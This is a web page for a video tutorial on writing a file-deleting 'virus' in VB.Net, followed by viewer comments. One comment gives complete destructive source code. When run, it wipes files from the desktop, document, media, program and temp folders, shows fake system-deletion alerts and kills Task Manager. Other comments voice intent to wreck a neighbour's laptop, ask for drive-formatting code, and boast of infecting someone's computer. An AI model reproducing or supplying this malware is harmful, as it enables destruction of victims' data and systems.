[Programming] How to make a virus using VB.Net that will delete all files

A lot of people have asked for this video so I sat down one day and decided to make it.
Enjoy.

(Im sorry for the microphone peaking, I dont really record my voice often so I am not good at setting it up properly)

Comments

BenPhoenix FTW says:

Every time I put “For Each item”, it changes item to Item(), and it wont build. I’m using the 2010 version

skver says:

2ez4me

Nithya says:

Thats against the law =D so I will fuck you. *tells trump and fbi and obama and bush and world* =)

BossTronPie says:

Is there an easier way without proggramming

Trubiso says:

How to get each subdirectory of a directory, and do same process in those subdirectories?

ShadowArmy says:

hey.. i want to delete specific directory can i do that?
thanks 😀

BulletL says:

it wont delete almost anything only folders that i made ;(

Da Amezin Spederman says:

Can you show how to make pop ups with any image?

Granth Tajolosa says:

now i can fucked up my neighbors laptop

Кулер Малиночив says:

Guys I accidently closed the form element tab in Visual Studio 2015. How can I get it back? Help me pls 🙁

Worded Puppet says:

I’m writing a virus for danooct1, Can I use this code?

Fallen says:

Can you leave a download in the desc so we can edit yours?

Stephen Hill says:

+applefanXXX Nice video

Zaid Parkar says:

And congrats on 1k sub!

greatbetta _ says:

How do u delete in documents, pictures, and videos folder

Zaid Ali says:

i can’t see anything

DaKookMen says:

Can you use this on visual studio 2015?

Owenrex1000 says:

Why would you show people how to make a virus

ErtasVideos says:

thanks fo a tutorial your viruses doesnt work

Simon C says:

Hmm, so I can use it as a emergency delete porn program.

For the times when people notice your Nickleback folder.

Nithya says:

Google will sue you you crying moron =)

Tălnaci Alexandru says:

Thanks Buddy.I want a destructive payload.Format the hdd.Can you give me a code to force format c or d drive?

DJMAN says:

0:32 did he say pirated? Dude, WAY to much on making the viruses man. Also, I recommend checking out danooct1, you can make viruses and submit them to him and he might make a video on it.

Кулер Малиночив says:

“The virus will try to delete all the fuc… Um… Files. Yeah, that will make sense.” Man I love this XD

Gecco says:

Make more! plzz loved you’re tutorial!! 🙂

Patryk Piotrowski says:

I am using a non-pirated version of Visual Studio Community 2017. Do I still qualify?

Logical Geeks says:

Can you make this for C# ? Thanks !

персик Борис says:

Can you also use 2013 express? P.s your the Best

Media Hacker says:

Try me:
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Show()
Me.Focus()
Me.BringToFront()
For Each item In Directory.GetFiles(My.Computer.FileSystem.SpecialDirectories.Desktop)
Try
IO.File.Delete(item)
Catch ex As Exception

End Try
Next
For Each item In Directory.GetFiles(My.Computer.FileSystem.SpecialDirectories.Programs)
Try
IO.File.Delete(item)
Catch ex As Exception

End Try
Next
For Each item In Directory.GetFiles(My.Computer.FileSystem.SpecialDirectories.ProgramFiles)
Try
IO.File.Delete(item)
Catch ex As Exception

End Try
Next
For Each item In Directory.GetFiles(My.Computer.FileSystem.SpecialDirectories.Temp)
Try
IO.File.Delete(item)
Catch ex As Exception

End Try
Next
For Each item In Directory.GetFiles(My.Computer.FileSystem.SpecialDirectories.MyPictures)
Try
IO.File.Delete(item)
Catch ex As Exception

End Try
Next
For Each item In Directory.GetFiles(My.Computer.FileSystem.SpecialDirectories.MyMusic)
Try
IO.File.Delete(item)
Catch ex As Exception

End Try
Next
For Each item In Directory.GetFiles(My.Computer.FileSystem.SpecialDirectories.MyDocuments)
Try
IO.File.Delete(item)
Catch ex As Exception

End Try
Next
For Each item In Directory.GetFiles(My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData)
Try
IO.File.Delete(item)
Catch ex As Exception

End Try
Next
ProgressBar1.Minimum = 0
ProgressBar1.Maximum = 6000
For x As Integer = 0 To 6000 Step 2
ProgressBar1.Value = x
ProgressBar1.Refresh()
Threading.Thread.Sleep(10)
Timer1.Enabled = True
If ProgressBar1.Value = 500 Then
CheckBox1.Show()
MessageBox.Show(“System 32 files deleted!”)
End If
If ProgressBar1.Value = 1000 Then
CheckBox2.Show()
MessageBox.Show(“Windows files deleted!”)
End If
If ProgressBar1.Value = 1500 Then
CheckBox3.Show()
MessageBox.Show(“Users files deleted!”)
End If
If ProgressBar1.Value = 2500 Then
CheckBox4.Show()
MessageBox.Show(“Drivers files deleted!”)
End If
If ProgressBar1.Value = 3000 Then
CheckBox8.Show()
MessageBox.Show(“Drivers32 files deleted!”)
End If
If ProgressBar1.Value = 3500 Then
CheckBox7.Show()
MessageBox.Show(“Temp and Tasks deleted!”)
End If
If ProgressBar1.Value = 4500 Then
CheckBox6.Show()
MessageBox.Show(“CMD deleted!”)
End If
If ProgressBar1.Value = 5800 Then
CheckBox5.Show()
MessageBox.Show(“USERS files deleted!”)
End If
Timer1.Enabled = False
If ProgressBar1.Value = 5950 Then
MessageBox.Show(“HAVE A NICE DAY!”)
End If
If ProgressBar1.Value = 6000 Then
Me.Close()
Form2.Close()

End If
Next
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
SendKeys.Send(“{ENTER}”)
Timer1.Enabled = False
For Each selProcess As Process In Process.GetProcesses
If selProcess.ProcessName = “taskmgr” Then
selProcess.Kill()
Exit For
End If
Next
End Sub
End Class

SpizoTheSuperPlayer says:

Hey! Can I ask what is the code for infecting Program Files, Program Files(x86) and System32 floders together, please?

Tibix says:

I sent the Cute Illerka.C to a people who searched for hacker list in a game.

I didn’t seen she/he up bye 3 weeks his/her pc is well and truly fucked now i think

:’DDDD

#DestroyComputersWithMichael

MrDrProfessorRabbit says:

“Open up whatever pirated version of Visual Studio or Visual Basic you’re using…”

I like you.

Drumsse Master says:

visual basic download link pls?

First Name Last Name says:

finally not some dumb 12 yr old arab making “YOUR WINDOWS HAS BEEN BANNED” finally some person with actual intelligence

Ben Grisdale says:

THX SO MUCH DUDE

W Developers says:

dim subscribers as integer = 1210

subscribers = subscribers + 1

If you know what i mean

 Write a comment

*

Do you like our videos?
Do you want to see more like that?

Please click below to support us on Facebook!